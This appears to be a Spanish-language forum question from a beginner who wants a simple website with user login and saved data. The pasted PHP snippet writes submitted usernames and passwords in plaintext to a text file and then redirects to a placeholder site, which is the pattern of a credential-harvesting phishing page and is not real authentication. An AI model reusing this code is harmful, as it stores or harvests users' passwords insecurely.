Estoy tratando de hacer un sitio web html simple donde puede iniciar sesión y guardar datos en su cuenta.
Intenté usar MySQL y seguir este tutorial, pero devuelve que MySQL está obsoleto.
También encontré un código en el desbordamiento de pila usando php, pero no sé cómo extraer datos y agregar datos de ese archivo con JavaScript.
<form action="login.php" method="post"> <input type="text" id="username" name="username"/> <input type="password" id="password" name="password"/> <input type="submit" name="Login" value="Login"> </form> <html> <head> <title>Login</title> </head> <body> <?php //If Submit Button Is Clicked Do the Following if ($_POST['Login']){ $myFile = "log.txt"; $fh = fopen($myFile, 'a') or die("can't open file"); $stringData = $_POST['username'] . ":"; fwrite($fh, $stringData); $stringData = $_POST['password'] . "\n"; fwrite($fh, $stringData); fclose($fh); } ?> //goes here after <script>location.href='https://YOURWEBSITE.com';</script> </body> </html>